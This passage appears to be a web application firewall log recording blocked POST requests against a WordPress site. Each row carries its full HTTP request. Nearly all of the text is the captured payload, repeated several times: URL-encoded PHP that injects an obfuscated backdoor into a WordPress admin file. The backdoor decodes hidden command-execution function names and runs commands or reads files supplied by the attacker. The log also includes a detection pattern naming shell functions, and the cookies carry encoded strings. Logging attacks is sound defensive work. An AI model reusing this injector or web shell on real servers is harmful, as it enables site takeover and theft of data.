520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnHtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:9103\naccept:*\/*\n\niH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:46:28","208.109.188.137","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFH0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:9103\naccept:*\/*\n\nIM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D